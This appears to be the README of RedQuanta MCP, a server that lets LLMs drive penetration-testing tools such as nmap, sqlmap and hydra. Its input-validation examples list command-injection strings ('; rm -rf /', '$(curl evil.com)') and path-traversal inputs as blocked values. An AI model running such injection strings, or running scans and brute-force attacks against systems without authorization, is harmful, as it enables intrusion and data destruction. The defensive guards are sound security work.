RedQuanta-MCP
RedQuanta MCP transforms penetration testing into an intelligent, automated, and secure process. Built specifically for LLM integration and professional security teams, it provides enterprise-grade security orchestration.
GitHub Stars
1
User Rating
Not Rated
Forks
0
Issues
4
Views
0
Favorites
0
π₯ RedQuanta MCP Server
π‘οΈ Enterprise-Grade Penetration Testing Orchestration Platform
Security-hardened, LLM-optimized, cross-platform Model Context Protocol server for professional penetration testing workflows
π Quick Start β’ π Documentation β’ π§ Features β’ π‘οΈ Security β’ π€ Contributing
π― Why RedQuanta MCP?
RedQuanta MCP transforms penetration testing into an intelligent, automated, and secure process. Built specifically for LLM integration and professional security teams, it provides enterprise-grade security orchestration with zero placeholder implementations.
β¨ Key Differentiators
Feature | RedQuanta MCP | Traditional Tools |
---|---|---|
π€ LLM Integration | Native MCP protocol, optimized schemas | Manual command-line only |
π‘οΈ Security Model | Jailed execution, audit logging, injection prevention | Basic security, manual oversight |
π§ Automation | Multi-phase workflows, intelligent orchestration | Single-tool execution |
π Documentation | LLM-optimized help system, contextual guidance | Man pages, fragmented docs |
π Extensibility | Plugin architecture, hot reloading | Static tool sets |
π Reporting | SARIF compliance, CI/CD integration, multi-format | Text output only |
π Comprehensive Features
π οΈ Complete Tool Arsenal (16+ Tools)
π Network Discovery & Scanning
- π― Nmap - Advanced network discovery with NSE script support
- β‘ Masscan - High-speed Internet-scale port scanning
- π Custom Profiles - Stealth, aggressive, and balanced scanning modes
{
"tool": "nmap_scan",
"parameters": {
"target": "192.168.1.0/24",
"custom_flags": ["-sS", "-O", "--script", "vuln"],
"profile": "aggressive",
"dangerous": true
}
}
π Web Application Security
- π FFUF - Fast web fuzzing with intelligent filtering
- π Gobuster - Directory and DNS enumeration
- π‘οΈ Nikto - Comprehensive web vulnerability scanning
- π SQLMap - Advanced SQL injection testing (dangerous mode)
{
"tool": "ffuf_fuzz",
"parameters": {
"url": "https://target.com/FUZZ",
"wordlist": "/opt/wordlists/common.txt",
"custom_headers": {"Authorization": "Bearer token123"},
"threads": 200
}
}
π Password & Authentication Security
- π John the Ripper - Advanced password cracking with format detection
- π Hydra - Network service brute forcing with intelligent throttling
- βοΈ Ethical Controls - Explicit
--dangerous
flag required
π€ Intelligent Automation
- π Workflow Enum - Automated reconnaissance workflows
- π Workflow Scan - Multi-phase vulnerability assessment
- π Workflow Report - Professional report generation
- π§ Adaptive Coaching - Beginner guidance or expert-level output
πΎ System Operations
- π Filesystem Ops - Secure file management with jailed execution
- βοΈ Command Runner - Sanitized command execution with audit trails
- π Plugin System - Dynamic custom tool loading with hot reload
π§ LLM-Optimized Design
π Comprehensive Documentation System
// Detailed schemas with examples for every tool
{
inputSchema: {
type: "object",
properties: {
target: {
type: "string",
description: "Target IP, hostname, or CIDR range",
examples: ["192.168.1.10", "example.com", "10.0.0.0/24"]
}
}
},
llmGuidance: {
whenToUse: "Use nmap for initial network reconnaissance",
parameterTips: "Start with stealth scans, use CIDR for ranges",
nextSteps: "Follow up with service-specific tools"
}
}
π Adaptive Coaching
- Beginner Mode: Detailed explanations, safety warnings, step-by-step guidance
- Advanced Mode: Concise technical output, advanced parameters
- Context Awareness: Tool recommendations based on current testing phase
π Advanced Plugin Architecture
π οΈ Custom Tool Development
// Example: SSL Analyzer Plugin
/**
* @plugin {
* "name": "ssl_analyzer",
* "version": "1.0.0",
* "category": "web",
* "dangerLevel": "safe"
* }
*/
export default class SSLAnalyzerTool extends ToolWrapper {
async execute(options) {
// Real SSL analysis implementation
const results = await this.performSSLAnalysis(options.target);
return {
success: true,
data: results,
recommendations: this.generateRecommendations(results)
};
}
}
Plugin Features:
- π Hot Reloading - Add tools without server restart
- π Manifest Support - JSON-based configuration
- π·οΈ Custom Categories - Organize by security domain
- π‘οΈ Safety Controls - Danger level validation
π Professional Reporting & CI/CD
π SARIF Compliance & CI/CD Integration
// SARIF 2.1.0 compliant output
{
"version": "2.1.0",
"$schema": "https://json.schemastore.org/sarif-2.1.0.json",
"runs": [{
"tool": {
"driver": {
"name": "RedQuanta MCP",
"version": "0.3.0",
"rules": [...]
}
},
"results": [{
"ruleId": "nmap-open-port",
"level": "warning",
"message": { "text": "Open SSH port detected" },
"locations": [{
"physicalLocation": {
"artifactLocation": { "uri": "192.168.1.10:22" }
}
}]
}]
}]
}
Reporting Features:
- π Multiple Formats - SARIF, JSON, HTML, PDF
- π Baseline Comparison - Track security improvements over time
- π·οΈ GitHub Annotations - Direct PR/commit integration
- π§ͺ JUnit Output - CI/CD test reporting
β‘ Real-time Progress Tracking
π‘ Live Execution Monitoring
// Real-time progress updates
tracker.startExecution('nmap_scan', parameters);
tracker.updateProgress(executionId, 25, 'Host discovery phase');
tracker.startPhase(executionId, 'port_scanning');
tracker.completeExecution(executionId, results);
Progress Features:
- π Multi-phase Tracking - Detailed execution phases
- π Real-time Updates - Event-driven monitoring
- π Performance Metrics - Execution time and resource usage
πΎ Intelligent Caching System
π Performance Optimization
// Tool-specific caching strategies
const cacheOptions = {
'nmap_scan': { ttl: 600000 }, // 10 minutes
'ffuf_fuzz': { ttl: 1800000 }, // 30 minutes
'nikto_scan': { ttl: 3600000 }, // 1 hour
'john_crack': { ttl: 7200000 } // 2 hours
};
// Performance improvements
const stats = cacheManager.getStats();
// { hits: 150, misses: 23, hitRate: 0.87 }
Caching Features:
- β‘ 20x Faster - Repeat operations from cache
- π§ LRU Eviction - Intelligent memory management
- π·οΈ Tag-based Invalidation - Selective cache clearing
π‘οΈ Enterprise Security Model
π Multi-Layer Security Architecture
βββββββββββββββββββ
β Input Layer β β Validation & Sanitization
βββββββββββββββββββ€
β Command Guard β β Injection Prevention
βββββββββββββββββββ€
β Path Guard β β Traversal Protection
βββββββββββββββββββ€
β Jailed Executionβ β Filesystem Boundaries
βββββββββββββββββββ€
β Audit Logging β β Activity Monitoring
βββββββββββββββββββ
π‘οΈ Security Features
πͺ Jailed Filesystem Execution
// All file operations are jailed and validated
const pathGuard = new PathGuard('/opt/redquanta/vol');
// Safe operations
pathGuard.validatePath('/etc/passwd'); // β Blocked
pathGuard.validatePath('../../../etc'); // β Blocked
pathGuard.validatePath('reports/scan.xml'); // β
Allowed
π‘οΈ Command Injection Prevention
// Advanced argument sanitization
const argGuard = new ArgGuard();
// Dangerous inputs blocked
argGuard.validateArgs(['target.com', '; rm -rf /']); // β Blocked
argGuard.validateArgs(['$(curl evil.com)']); // β Blocked
argGuard.validateArgs(['192.168.1.1', '-sS']); // β
Allowed
π Comprehensive Audit Logging
// JSONL audit trail for all operations
{
"timestamp": "2024-01-15T10:30:00Z",
"level": "info",
"action": "tool_execution",
"tool": "nmap_scan",
"target": "192.168.1.0/24",
"user": "security_analyst",
"dangerous": false,
"outcome": "success",
"duration": 45230
}
β οΈ Dangerous Operation Controls
Operations requiring explicit --dangerous
authorization:
- π Password Cracking - John the Ripper operations
- π Brute Force Attacks - Hydra network service testing
- π SQL Injection - SQLMap exploitation modules
- π File System Writes - Modifying files in jail
- π₯ Exploitation - Active security testing
π Quick Start
π Prerequisites
- Node.js 20 LTS or higher
- pnpm package manager
- Docker (optional, for tool fallbacks)
β‘ Installation Methods
πͺ Windows Setup (PowerShell)
# 1. Clone repository
git clone https://github.com/sc4rfurry/RedQuanta-MCP.git
cd RedQuanta-MCP
# 2. Run automated setup
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
.\scripts\setup-windows.ps1
# 3. Start server
.\start-windows.bat
π§ Linux/macOS Setup
# 1. Clone repository
git clone https://github.com/sc4rfurry/RedQuanta-MCP.git
cd RedQuanta-MCP
# 2. Install dependencies
pnpm install
# 3. Build project
pnpm build
# 4. Setup jail root
sudo mkdir -p /opt/redquanta/vol
sudo chown $USER:$USER /opt/redquanta/vol
# 5. Start server
pnpm start
π³ Docker Deployment
# Quick start with Docker Compose
docker-compose up -d
# Custom configuration
docker run -d \
-p 5891:5891 \
-v ./config:/app/config \
-e DANGEROUS_MODE=false \
sc4rfurry/redquanta-mcp:latest
π― First Steps
π Health Check & System Verification
# Windows
.\redquanta-cli.bat doctor
# Linux/macOS
pnpm cli doctor
# Expected output:
β
Node.js version: 20.11.0
β
Security tools available: 12/16
β
Jail root accessible: /opt/redquanta/vol
β
Configuration valid
β
Audit logging functional
β οΈ Nikto not found (will use Docker fallback)
π‘οΈ Dangerous mode: DISABLED (use --dangerous to enable)
π οΈ Tool Discovery
# List available tools
redquanta-cli tools
# Output:
π Network Tools:
β’ nmap_scan - Network discovery and port scanning
β’ masscan_scan - High-speed port scanning
π Web Tools:
β’ ffuf_fuzz - Fast web fuzzing
β’ gobuster_scan - Directory enumeration
β’ nikto_scan - Web vulnerability scanning
π Password Tools:
β’ john_crack - Password cracking (β οΈ dangerous)
β’ hydra_bruteforce - Network brute force (β οΈ dangerous)
π€ Workflow Tools:
β’ workflow_enum - Automated enumeration
β’ workflow_scan - Vulnerability scanning
β’ workflow_report - Report generation
π Usage Examples
πΈοΈ Network Reconnaissance
# Basic network scan
redquanta-cli enum 192.168.1.0/24
# Advanced network enumeration
redquanta-cli enum 192.168.1.0/24 --scope network --depth aggressive
# Custom Nmap scan
redquanta-cli nmap 192.168.1.10 --custom-flags "-sS,-O,--script,vuln" --dangerous
Expected Workflow:
- π― Host Discovery - Ping sweep to find live hosts
- π Port Scanning - TCP connect scan on discovered hosts
- π‘οΈ Service Enumeration - Version detection and banner grabbing
- π Report Generation - Structured output with recommendations
π Web Application Testing
# Web application enumeration
redquanta-cli ffuf https://target.com/FUZZ --wordlist /opt/wordlists/common.txt
# Comprehensive web assessment
redquanta-cli scan https://target.com --type web --include nikto,ffuf --dangerous
# SQL injection testing (requires --dangerous)
redquanta-cli sqlmap "https://target.com/login?id=1" --dangerous --confirm
π API Reference & Integration
π MCP Protocol Integration
// MCP Client Integration
import { MCPClient } from '@modelcontextprotocol/client';
const client = new MCPClient();
await client.connect('stdio://redquanta-mcp');
// Execute network scan
const result = await client.callTool('nmap_scan', {
target: '192.168.1.0/24',
profile: 'stealth',
coaching: 'beginner'
});
// Process results
if (result.success) {
console.log(`Found ${result.data.hosts.length} live hosts`);
result.data.recommendations.forEach(rec => console.log(`π‘ ${rec}`));
}
π REST API Endpoints
Endpoint | Method | Description | Example |
---|---|---|---|
/health |
GET | System health check | curl /health |
/tools |
GET | List available tools | curl /tools |
/tools/{name} |
POST | Execute specific tool | curl -X POST /tools/nmap_scan |
/help/{tool} |
GET | Get tool documentation | curl /help/nmap_scan |
/plugins |
GET | List loaded plugins | curl /plugins |
/workflow/enum |
POST | Run enumeration workflow | curl -X POST /workflow/enum |
ποΈ Architecture & Design
π― System Architecture
graph TD
A[MCP Client] -->|stdio/REST| B[RedQuanta MCP Server]
B --> C[Security Layer]
C --> D[Workflow Engine]
D --> E[Tool Execution]
D --> F[Plugin System]
E --> G[Command Runner]
E --> H[Filesystem Manager]
G --> I[Security Tools]
H --> J[Jailed Execution]
K[Progress Tracker] --> L[Real-time Updates]
M[Cache Manager] --> N[LRU Cache]
O[SARIF Reporter] --> P[CI/CD Integration]
Q[Audit Logger] --> R[JSONL Logs]
π‘οΈ Security Components
- π Path Guard - Prevents directory traversal attacks
- π‘οΈ Argument Guard - Blocks command injection attempts
- π Jailed Filesystem - Confines all operations to secure boundaries
- π Audit Logger - Comprehensive activity monitoring
- βοΈ Authorization - Explicit approval for dangerous operations
π§ͺ Testing & Quality Assurance
π¬ Comprehensive Testing Suite
# Run all tests
pnpm test
# Test with coverage
pnpm test:coverage
# Security-focused tests
pnpm test:security
# Integration tests with real tools
pnpm test:integration
π Quality Metrics
Metric | Target | Current |
---|---|---|
Code Coverage | >90% | 94.2% |
Security Tests | 100% | β 100% |
Integration Tests | >85% | 91.7% |
Linter Compliance | 0 errors | β 0 errors |
π Deployment & Production
π Production Deployment Options
π³ Kubernetes Deployment
apiVersion: apps/v1
kind: Deployment
metadata:
name: redquanta-mcp
spec:
replicas: 3
selector:
matchLabels:
app: redquanta-mcp
template:
metadata:
labels:
app: redquanta-mcp
spec:
containers:
- name: redquanta-mcp
image: sc4rfurry/redquanta-mcp:latest
ports:
- containerPort: 5891
env:
- name: NODE_ENV
value: "production"
- name: JAIL_ROOT
value: "/opt/redquanta/vol"
resources:
requests:
memory: "1Gi"
cpu: "500m"
limits:
memory: "2Gi"
cpu: "1000m"
π Monitoring & Observability
Key Metrics Tracked:
- π Tool Execution Times - Performance monitoring
- π‘οΈ Security Events - Failed authentication, blocked operations
- π Usage Patterns - Most used tools, workflow success rates
- πΎ Resource Utilization - Memory, CPU, disk usage
- π Cache Performance - Hit rates, eviction patterns
π€ Contributing
We welcome contributions from the security community!
π Getting Started
π» Development Setup
# 1. Fork and clone
git clone https://github.com/sc4rfurry/RedQuanta-MCP.git
cd RedQuanta-MCP
# 2. Install dependencies
pnpm install
# 3. Run in development mode
pnpm dev
# 4. Run tests
pnpm test
# 5. Code quality checks
pnpm lint:fix
pnpm type-check
π Contribution Guidelines
Area | Guidelines |
---|---|
π οΈ Tools | Add new security tools with complete schemas |
π Plugins | Develop custom tools following plugin architecture |
π‘οΈ Security | All changes must pass security review |
π Documentation | Include LLM-optimized help and examples |
π§ͺ Testing | Maintain >90% test coverage |
π License & Legal
π License
This project is licensed under the MIT License - see the LICENSE file for details.
βοΈ Legal Notices
π¨ IMPORTANT: RedQuanta MCP is designed for authorized penetration testing only. Users are responsible for ensuring they have proper authorization before testing any systems. Unauthorized access to computer systems is illegal in most jurisdictions.
π‘οΈ Responsible Disclosure
If you discover security vulnerabilities in RedQuanta MCP:
- π§ Create an Issue: Report Security Issues
- π For sensitive vulnerabilities: Contact @sc4rfurry directly
- β±οΈ Timeline: We aim to respond within 24-48 hours
π Support & Community
π¬ Get Help
Channel | Purpose | Response Time |
---|---|---|
π± GitHub Issues | Bug reports, feature requests | 24-48 hours |
π¬ Discussions | Community discussion, questions | Community-driven |
π§ Contact | Direct contact with maintainer | 24-48 hours |
π Acknowledgments
Special thanks to:
- π€ MCP Community - Protocol development and standards
- π‘οΈ Security Researchers - Vulnerability reports and improvements
- π₯ Contributors - Code, documentation, and feedback
- π§ Tool Authors - Nmap, FFUF, Nikto, and other excellent security tools
π₯ Ready to revolutionize your penetration testing workflow?
π Get Started Now β’ π Read the Docs β’ π€ Join the Community
Made with β€οΈ by @sc4rfurry
Empowering security professionals with intelligent automation
10
Followers
118
Repositories
0
Gists
17
Total Contributions